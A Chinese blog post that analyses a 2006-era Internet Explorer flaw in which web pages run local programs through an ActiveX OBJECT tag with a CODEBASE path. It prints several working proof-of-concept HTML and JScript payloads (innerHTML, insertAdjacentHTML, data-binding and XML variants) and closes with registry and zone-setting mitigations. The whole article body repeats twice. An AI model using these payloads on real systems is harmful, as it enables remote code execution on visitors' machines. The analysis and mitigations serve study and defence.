上一篇: 
下一篇: 
文章来自: 
引用通告: 
Tags: 
最新日志:
不错呦！smile@林凯西，确保“准备文件”中的几个文件都有安装，S...您好，看了您这篇帖子觉得很有帮助。但是有个问题想请...我的修改过了怎么还被恶意注册呢 @jjjjiiii 用PJ快9年了，主要是A...PJ3啊，貌似很少有人用PJ了，现在不是WP就是z...@332347365，我当时接入时错误码没有-10...楼主，ChkValue值应为-103是什么意思呢？...大哥 你最近能看到我发的信息，请跟我联系，我有个制...
关于IE执行任意程序漏洞的深入分析
编辑:admin 日期:2006-10-08
1. 漏洞回顾
2. 进一步追踪
3. IE可本地执行任意命令分析
4. IE的ActiveX安全设置可被绕过分析
5. 扩展:扩展:IE的DHTML实现中关于html源码再解析部分和IE的安全机制脱节
6. 临时解决方法
7. 测试环境
8. 参考
9. 感谢
<1> 漏洞回顾
Bugtraq 3867描述了IE允许恶意网站在浏览其网页的客户机上执行任意程序。
如果你不了解该漏洞的信息请参阅:
http://magazine.nsfocus.com/detail.asp?id=1192
原文的示例简化如下：
<HTML>
<SCRIPT LANGUAGE="JScript">
var oPopup = window.createPopup();
var oPopBody = oPopup.document.body;
html='<OBJECT ';
html+='CLASSID="CLSID:11111111-1111-1111-1111-111111111111"'
html+='CODEBASE="c:/windows/notepad.exe"></OBJECT>'
/* 注意：上面的notepad.exe的路径请修改为你系统对应的路径 */
oPopBody.innerHTML = html;
oPopup.show(290, 190, 200, 200, document.body);
</script>
</html>
在你的WEB服务器上创建如上一个html文件，然后打开IE键入该文件的URL,那么在你的机器上会打开一个记事本(对IE6和5.5有效)。原文认为其原理为:当使用window.PoPup()或window.Open()调用创建一个新对象时，如果对象的CODEBASE值指向一个客户机上的可执行程序时，程序就会被执行。个人认为其描述没有抓住漏洞的本质。
<2> 进一步追踪
如果你把html文件内容修改如下:
<body></body>
<SCRIPT>
html='<OBJECT CLASSID="CLSID:12345678" '
html+=' CODEBASE="c:/windows/notepad.exe"></OBJECT>';
/* 注意：上面的notepad.exe的路径请修改为你系统对应的路径 */
document.body.innerHTML=html;
</SCRIPT>
你再访问该URL时你会发现两次效果相同，同时你能看到我们的文件中没有window.createPopup也没有window.open,很明显以前的描述并不准确。漏洞的真实面纱还未显现。
其实，这段代码幕后隐含的问题远远没有代码本身看起来那样简单，其内部包含了IE的两个bug：
1) IE可本地执行任意命令。
2) IE的ActiveX安全设置可被绕过。
<3> BUG1: IE可本地执行任意命令
相信你已经看到了上述代码里核心的一段是:
<OBJECT
CLASSID="CLSID:12345678"
CODEBASE="c:/windows/notepad.exe">
</OBJECT>
写一个test.html，放入以上内容，然后双击用IE打开此html文件，记事本被打开。如果你是一个已经使用过IE调用ActiveX控件的话那么以下文字是在浪费你的时间，建议你跳过 :)
在IE中<object>标签其实就是引用一个ActiveX控件，具体的控件以ID号对应，如媒体播放器控件号: 22D6f312-B0F6-11D0-94AB-0080C74C7E95，执行命名控件:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B等。这些控件中部分是系统提供的，也有安装一些软件时这些软件中提供的如安装Office后系统中就会多很多控件，还有就是用户自己提供的（想更多的了解ActiveX知识网上有很多资料）。
当IE看到一个<object>引用时首先根据CLASSID在系统中查找该控件，如果没有找到，那么就认为系统目前还没有安装改控件，然后根据codebase去试图下载并安装该控件，当然试图下载并安装控件这个过程受到IE安全设置的限制。
在通常情况下IE对控件的管理能很好的工作，如你能在页面上看电影，能在页面上看Flash等。当你还没有安装Flash播放软件而浏览一个带Flash的网页时IE会提示你是否安装Flash播放器，如果你要安装，那么IE就根据codebase去下载并安装Flash播放器，当然同时播放器会在系统中注册其控件。
但在特殊情况下IE却开始犯毛病了，如我们的上述代码，我们给IE指定了一个系统中并不存在的控件号，此时IE会试图从codebase指定的地址去下载并安装改控件。根据codebase于是IE找到了c:/windows/notepad.exe接着IE“下载”并安装该程序。这个动作中的下载就是copy该文件到IE使用的"Downloaded Program Files"目录下，然后开始"安装"该控件,我们的是EXE文件其实就是运行该文件，所以当然就弹出了文本编辑器!当然在此过程中还有很多复杂的动作：检测ID号是否正确、检测系统注册表中是否有该控件、检测已经下载的文件目录中是否已经下载该文件、"下载"文件到Downloaded Program Files目录命名为set????.tmp、rename该tmp文件为原文件名、检查文件类型并作相应”安装“动作“等。
那么为什么IE在这个“下载安装控件”过程中不提示用户，也不应用IE安全设置中的限定进行检测？主要原因是IE安全设置中的设置都是针对非本地的页面或交互的。对于本地的安全设置IE是最大信任的。如果你注意看IE的安全设置，他是对Internet和Intranet上WEB服务器而言的，根本就没有对本地文件的安全设置。
概括说来就是由于我们的页面在本地，又是通过双击打开的即IE解释的是本地文件，而同时”下载“的控件－－"c:/windows/notepad.exe"－－也是在本地系统上的，也就是这两个过程都是本地的，那么IE的安全设置均无效__本地最大信任嘛。
<4> Bug2: IE的ActiveX安全设置可被绕过分析
如果你把test.html的codebase改为" http://ip/notepad.exe ",(ip对应你的web服务器IP地址)并且在相应位置放一个notepad.exe，然后双击用IE打开test.html，你会发现IE给出警告框。这是因为你试图下载的控件在Internet或Intranet上，IE安全设置生效。
如果你把test.html不作任何修改（即codebase仍为c:/windows/notepad.exe）放到你的web服务器上，然后用IE访问，此时你发现IE仍给出警告框。这是由于你的页面是来自非本地的受到IE安全设置的限制。
那么这段代码:
<body></body>
<SCRIPT>
html='<OBJECT CLASSID="CLSID:12345678" '
html+=' CODEBASE="c:/windows/notepad.exe"></OBJECT>';
document.body.innerHTML=html;
</SCRIPT>
放到你的网站上又是如何做到让你访问时运行记事本程序，而没有受IE安全设置限制呢?
从上面的分析我们已经知道如果能做到本地页面，codebase又是本地文件就能受最大信任。我们本来的目的就是运行本地程序，codebase当然指向本地，两个条件中已经满足一个了，还有一个就是如何让IE认为页面是本地页面！因为你的页面肯定不是本地页面，是IE从网站上下回来的，按理说是不可能作到这一点的，但这却又真的发生了，我们知道DHTML中很多对象都有一个innerHTML属性，通过修改某对象的 innerHTML值就相当于修改该对象的html代码。修改innerHTML就能修改页面本身，修改后IE将重新解释修改的部分，而IE5.5/IE6却在解释innerHTML的赋值时认为这是一个本地动作，因为赋值操作是在页面下回来后进行的，IE认为这段代码是本地代码!!于是不该发生的一切就这样发生了。
上面的那段代码在IE下载页面时HTML中没有<object>，里面的"<object>"属于一个字符串而已，但下载回来后进行解释时自己对自己的页面进行了一个赋值，赋值完成后这个页面的HTML代码就是:
<OBJECT
CLASSID="CLSID:12345678"
CODEBASE="c:/windows/notepad.exe">
</OBJECT>
修改了整个页面的代码。赋值完成后IE重新解释页面。于是你就看到了记事本。
当然你也可以把那段代码改写为:
<body><div id=test ></div></body>
<SCRIPT>
html='<OBJECT CLASSID="CLSID:12345678" '
html+=' CODEBASE="c:/windows/notepad.exe"></OBJECT>';
test.innerHTML=html;
</SCRIPT>
<5> 扩展:IE的DHTML实现中关于html源码再解析部分和IE的安全机制脱节
通过上面分析现在我们已经知道IE对向innerHTML赋值后再次解释时使用了本地权限，使得其安全策略失效，innerHTML赋值属于动态页面修改的范畴，那么是否IE对于整个动态页面修改的实现上都有问题呢？
我们写如下代码(test.html)测试一下:
<body><div id='test'></div></body>
<SCRIPT language=JScript>
test.insertAdjacentHTML("afterEnd","<OBJECT CLASSID='CLSID:
12345678' CODEBASE='c:/windows/notepad.exe' ></OBJECT>");
</SCRIPT>
将这个页面本地双击打开，我们看到记事本出来了，同样放到网上，通过IE 连接相关URL打开记事本也被打开，可见IE在整个html再次分析时都有问题。其他跟动态页面修改的方法还有insertAdjacentElement、动态数据绑定等。但经测试createElement(htmlStr)不受再次解释问题影响。
动态页面修改不使用script仍然有很多方法，主要是通过动态数据绑定。
举例来说有:
方法一: 使用数据操作控件
写一HTML文件test.html，内容如下:
<object id=test classid="clsid:333c7bc4-460f-11d0-bc04-0080c7055a83">
<param name="DataURL" value="test.txt">
<param name="UseHeader" value="true">
</object>
<table datasrc=#test>
<tr>
<td><div datafld="contex" dataformatas="html"></div></td>
</tr>
</table>
再写一个文件test.txt，内容如下: (两行，请修改notepad.exe的位置和你一致)
contex<OBJECT CLASSID='CLSID:12345678' CODEBASE='c:/win98/notepad.exe'></OBJECT>
将这两个文件放到你的web服务器的根目录下，然后通过IE访问，你将发现记事本被打开，在这个实现中我们没有使用脚本！
说明：以上代码依赖IE安装时自带安装的动态数据处理控件，所以你的IE设置的ActiveX 应该允许运行（默认情况下是允许的）。
方法二：使用xml，参考http://security.greymagic.com/adv/gm001-ie/提供的方法是使用如下html文件实现：
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![CDATA][
<object id="oFile"
classid="clsid:11111111-1111-1111-1111-111111111111"
codebase="c:/winnt/system32/calc.exe"></object>
]]>
</exploit>
</security>
</xml>
说明: 该代码内没有任何控件引用，所以你即使在安全设置中禁用ActiveX控件也能工作，原理一样。主要是新版的IE将xml解释内置所以可直接不调用任何控件实现动态数据绑定，而绑定的数据作为html解释也就实现了动态html修改。
<6> 临时解决方法
明白其原理后就有相应的解决方案了，对于第二个问题二次HTML解释问题是IE程序实现上的问题我们无能为力，我们能做的就是堵住ActiveX的下载安装。
如果是2k/xp可通过一些权限设置来堵住其”下载安装“这一步，但常会伴随副作用。主要是对Downloaded Program Files目录设置不可执行，不可写等权限。
同时我们看到，二次解释后的代码得到的是本地计算机的权限，那么我们可以对IE本地进行权限设置，禁止本地代码下载ActiveX控件也可以得到相应的效果。
但是我们如何对本地权限设置呢?IE的安全设置里只有Internet、本地Intranet、受限制的站点、受信任的站点的设置，没有对本机的设置!
根据scz的分析:注册表中
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersionInternetSettings\Zones\]下有5项，后面的1,2,3,4对应就是你在IE安全设置中看到的4项，第一个0就是本地计算机，默认看不到，如果把0\Flags值修改为十六进制的47那么你就能发现IE的安全设置中多了一项“我的电脑”。这就是我们苦苦追寻的IE本地权限的控制中心!!!
好了，现在到IE安全设置中\我的电脑\下禁用ActiveX下载就一切OK了。不就是IE的问题导致网上的HTML代码能取得本地代码权限，然后本地代码再下载ActiveX，而IE默认本地代码最大信任,有权下载控件才造成这一系列的问题吗？现在得到本地权限也不能下载ActiveX了，呵呵世界清净了!
<7> 测试环境
IE6 pwin98 & NT4(sp6) 受影响
IE5.5(sp2) win2k(sp2) 受影响
IE5 win2k(sp2) 不受影响
WEB服务器用的是https。
理论上所有IE都会有第一个问题。
<8> 参考资料
http://www.liquidwd.freeserve.co.uk/
http://magazine.nsfocus.com/detail.asp?id=1192
http://msdn.microsoft.com/library/default.asp?url=/workshop/entry.asp
http://security.greymagic.com/adv/gm001-ie/
2. 进一步追踪
3. IE可本地执行任意命令分析
4. IE的ActiveX安全设置可被绕过分析
5. 扩展:扩展:IE的DHTML实现中关于html源码再解析部分和IE的安全机制脱节
6. 临时解决方法
7. 测试环境
8. 参考
9. 感谢
<1> 漏洞回顾
Bugtraq 3867描述了IE允许恶意网站在浏览其网页的客户机上执行任意程序。
如果你不了解该漏洞的信息请参阅:
http://magazine.nsfocus.com/detail.asp?id=1192
原文的示例简化如下：
<HTML>
<SCRIPT LANGUAGE="JScript">
var oPopup = window.createPopup();
var oPopBody = oPopup.document.body;
html='<OBJECT ';
html+='CLASSID="CLSID:11111111-1111-1111-1111-111111111111"'
html+='CODEBASE="c:/windows/notepad.exe"></OBJECT>'
/* 注意：上面的notepad.exe的路径请修改为你系统对应的路径 */
oPopBody.innerHTML = html;
oPopup.show(290, 190, 200, 200, document.body);
</script>
</html>
在你的WEB服务器上创建如上一个html文件，然后打开IE键入该文件的URL,那么在你的机器上会打开一个记事本(对IE6和5.5有效)。原文认为其原理为:当使用window.PoPup()或window.Open()调用创建一个新对象时，如果对象的CODEBASE值指向一个客户机上的可执行程序时，程序就会被执行。个人认为其描述没有抓住漏洞的本质。
<2> 进一步追踪
如果你把html文件内容修改如下:
<body></body>
<SCRIPT>
html='<OBJECT CLASSID="CLSID:12345678" '
html+=' CODEBASE="c:/windows/notepad.exe"></OBJECT>';
/* 注意：上面的notepad.exe的路径请修改为你系统对应的路径 */
document.body.innerHTML=html;
</SCRIPT>
你再访问该URL时你会发现两次效果相同，同时你能看到我们的文件中没有window.createPopup也没有window.open,很明显以前的描述并不准确。漏洞的真实面纱还未显现。
其实，这段代码幕后隐含的问题远远没有代码本身看起来那样简单，其内部包含了IE的两个bug：
1) IE可本地执行任意命令。
2) IE的ActiveX安全设置可被绕过。
<3> BUG1: IE可本地执行任意命令
相信你已经看到了上述代码里核心的一段是:
<OBJECT
CLASSID="CLSID:12345678"
CODEBASE="c:/windows/notepad.exe">
</OBJECT>
写一个test.html，放入以上内容，然后双击用IE打开此html文件，记事本被打开。如果你是一个已经使用过IE调用ActiveX控件的话那么以下文字是在浪费你的时间，建议你跳过 :)
在IE中<object>标签其实就是引用一个ActiveX控件，具体的控件以ID号对应，如媒体播放器控件号: 22D6f312-B0F6-11D0-94AB-0080C74C7E95，执行命名控件:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B等。这些控件中部分是系统提供的，也有安装一些软件时这些软件中提供的如安装Office后系统中就会多很多控件，还有就是用户自己提供的（想更多的了解ActiveX知识网上有很多资料）。
当IE看到一个<object>引用时首先根据CLASSID在系统中查找该控件，如果没有找到，那么就认为系统目前还没有安装改控件，然后根据codebase去试图下载并安装该控件，当然试图下载并安装控件这个过程受到IE安全设置的限制。
在通常情况下IE对控件的管理能很好的工作，如你能在页面上看电影，能在页面上看Flash等。当你还没有安装Flash播放软件而浏览一个带Flash的网页时IE会提示你是否安装Flash播放器，如果你要安装，那么IE就根据codebase去下载并安装Flash播放器，当然同时播放器会在系统中注册其控件。
但在特殊情况下IE却开始犯毛病了，如我们的上述代码，我们给IE指定了一个系统中并不存在的控件号，此时IE会试图从codebase指定的地址去下载并安装改控件。根据codebase于是IE找到了c:/windows/notepad.exe接着IE“下载”并安装该程序。这个动作中的下载就是copy该文件到IE使用的"Downloaded Program Files"目录下，然后开始"安装"该控件,我们的是EXE文件其实就是运行该文件，所以当然就弹出了文本编辑器!当然在此过程中还有很多复杂的动作：检测ID号是否正确、检测系统注册表中是否有该控件、检测已经下载的文件目录中是否已经下载该文件、"下载"文件到Downloaded Program Files目录命名为set????.tmp、rename该tmp文件为原文件名、检查文件类型并作相应”安装“动作“等。
那么为什么IE在这个“下载安装控件”过程中不提示用户，也不应用IE安全设置中的限定进行检测？主要原因是IE安全设置中的设置都是针对非本地的页面或交互的。对于本地的安全设置IE是最大信任的。如果你注意看IE的安全设置，他是对Internet和Intranet上WEB服务器而言的，根本就没有对本地文件的安全设置。
概括说来就是由于我们的页面在本地，又是通过双击打开的即IE解释的是本地文件，而同时”下载“的控件－－"c:/windows/notepad.exe"－－也是在本地系统上的，也就是这两个过程都是本地的，那么IE的安全设置均无效__本地最大信任嘛。
<4> Bug2: IE的ActiveX安全设置可被绕过分析
如果你把test.html的codebase改为" http://ip/notepad.exe ",(ip对应你的web服务器IP地址)并且在相应位置放一个notepad.exe，然后双击用IE打开test.html，你会发现IE给出警告框。这是因为你试图下载的控件在Internet或Intranet上，IE安全设置生效。
如果你把test.html不作任何修改（即codebase仍为c:/windows/notepad.exe）放到你的web服务器上，然后用IE访问，此时你发现IE仍给出警告框。这是由于你的页面是来自非本地的受到IE安全设置的限制。
那么这段代码:
<body></body>
<SCRIPT>
html='<OBJECT CLASSID="CLSID:12345678" '
html+=' CODEBASE="c:/windows/notepad.exe"></OBJECT>';
document.body.innerHTML=html;
</SCRIPT>
放到你的网站上又是如何做到让你访问时运行记事本程序，而没有受IE安全设置限制呢?
从上面的分析我们已经知道如果能做到本地页面，codebase又是本地文件就能受最大信任。我们本来的目的就是运行本地程序，codebase当然指向本地，两个条件中已经满足一个了，还有一个就是如何让IE认为页面是本地页面！因为你的页面肯定不是本地页面，是IE从网站上下回来的，按理说是不可能作到这一点的，但这却又真的发生了，我们知道DHTML中很多对象都有一个innerHTML属性，通过修改某对象的 innerHTML值就相当于修改该对象的html代码。修改innerHTML就能修改页面本身，修改后IE将重新解释修改的部分，而IE5.5/IE6却在解释innerHTML的赋值时认为这是一个本地动作，因为赋值操作是在页面下回来后进行的，IE认为这段代码是本地代码!!于是不该发生的一切就这样发生了。
上面的那段代码在IE下载页面时HTML中没有<object>，里面的"<object>"属于一个字符串而已，但下载回来后进行解释时自己对自己的页面进行了一个赋值，赋值完成后这个页面的HTML代码就是:
<OBJECT
CLASSID="CLSID:12345678"
CODEBASE="c:/windows/notepad.exe">
</OBJECT>
修改了整个页面的代码。赋值完成后IE重新解释页面。于是你就看到了记事本。
当然你也可以把那段代码改写为:
<body><div id=test ></div></body>
<SCRIPT>
html='<OBJECT CLASSID="CLSID:12345678" '
html+=' CODEBASE="c:/windows/notepad.exe"></OBJECT>';
test.innerHTML=html;
</SCRIPT>
<5> 扩展:IE的DHTML实现中关于html源码再解析部分和IE的安全机制脱节
通过上面分析现在我们已经知道IE对向innerHTML赋值后再次解释时使用了本地权限，使得其安全策略失效，innerHTML赋值属于动态页面修改的范畴，那么是否IE对于整个动态页面修改的实现上都有问题呢？
我们写如下代码(test.html)测试一下:
<body><div id='test'></div></body>
<SCRIPT language=JScript>
test.insertAdjacentHTML("afterEnd","<OBJECT CLASSID='CLSID:
12345678' CODEBASE='c:/windows/notepad.exe' ></OBJECT>");
</SCRIPT>
将这个页面本地双击打开，我们看到记事本出来了，同样放到网上，通过IE 连接相关URL打开记事本也被打开，可见IE在整个html再次分析时都有问题。其他跟动态页面修改的方法还有insertAdjacentElement、动态数据绑定等。但经测试createElement(htmlStr)不受再次解释问题影响。
动态页面修改不使用script仍然有很多方法，主要是通过动态数据绑定。
举例来说有:
方法一: 使用数据操作控件
写一HTML文件test.html，内容如下:
<object id=test classid="clsid:333c7bc4-460f-11d0-bc04-0080c7055a83">
<param name="DataURL" value="test.txt">
<param name="UseHeader" value="true">
</object>
<table datasrc=#test>
<tr>
<td><div datafld="contex" dataformatas="html"></div></td>
</tr>
</table>
再写一个文件test.txt，内容如下: (两行，请修改notepad.exe的位置和你一致)
contex<OBJECT CLASSID='CLSID:12345678' CODEBASE='c:/win98/notepad.exe'></OBJECT>
将这两个文件放到你的web服务器的根目录下，然后通过IE访问，你将发现记事本被打开，在这个实现中我们没有使用脚本！
说明：以上代码依赖IE安装时自带安装的动态数据处理控件，所以你的IE设置的ActiveX 应该允许运行（默认情况下是允许的）。
方法二：使用xml，参考http://security.greymagic.com/adv/gm001-ie/提供的方法是使用如下html文件实现：
<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
<security>
<exploit>
<![CDATA][
<object id="oFile"
classid="clsid:11111111-1111-1111-1111-111111111111"
codebase="c:/winnt/system32/calc.exe"></object>
]]>
</exploit>
</security>
</xml>
说明: 该代码内没有任何控件引用，所以你即使在安全设置中禁用ActiveX控件也能工作，原理一样。主要是新版的IE将xml解释内置所以可直接不调用任何控件实现动态数据绑定，而绑定的数据作为html解释也就实现了动态html修改。
<6> 临时解决方法
明白其原理后就有相应的解决方案了，对于第二个问题二次HTML解释问题是IE程序实现上的问题我们无能为力，我们能做的就是堵住ActiveX的下载安装。
如果是2k/xp可通过一些权限设置来堵住其”下载安装“这一步，但常会伴随副作用。主要是对Downloaded Program Files目录设置不可执行，不可写等权限。
同时我们看到，二次解释后的代码得到的是本地计算机的权限，那么我们可以对IE本地进行权限设置，禁止本地代码下载ActiveX控件也可以得到相应的效果。
但是我们如何对本地权限设置呢?IE的安全设置里只有Internet、本地Intranet、受限制的站点、受信任的站点的设置，没有对本机的设置!
根据scz的分析:注册表中
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersionInternetSettings\Zones\]下有5项，后面的1,2,3,4对应就是你在IE安全设置中看到的4项，第一个0就是本地计算机，默认看不到，如果把0\Flags值修改为十六进制的47那么你就能发现IE的安全设置中多了一项“我的电脑”。这就是我们苦苦追寻的IE本地权限的控制中心!!!
好了，现在到IE安全设置中\我的电脑\下禁用ActiveX下载就一切OK了。不就是IE的问题导致网上的HTML代码能取得本地代码权限，然后本地代码再下载ActiveX，而IE默认本地代码最大信任,有权下载控件才造成这一系列的问题吗？现在得到本地权限也不能下载ActiveX了，呵呵世界清净了!
<7> 测试环境
IE6 pwin98 & NT4(sp6) 受影响
IE5.5(sp2) win2k(sp2) 受影响
IE5 win2k(sp2) 不受影响
WEB服务器用的是https。
理论上所有IE都会有第一个问题。
<8> 参考资料
http://www.liquidwd.freeserve.co.uk/
http://magazine.nsfocus.com/detail.asp?id=1192
http://msdn.microsoft.com/library/default.asp?url=/workshop/entry.asp
http://security.greymagic.com/adv/gm001-ie/
评论: 1 | 引用: 0 | 查看次数: 5617
发表评论
请登录后再发表评论！
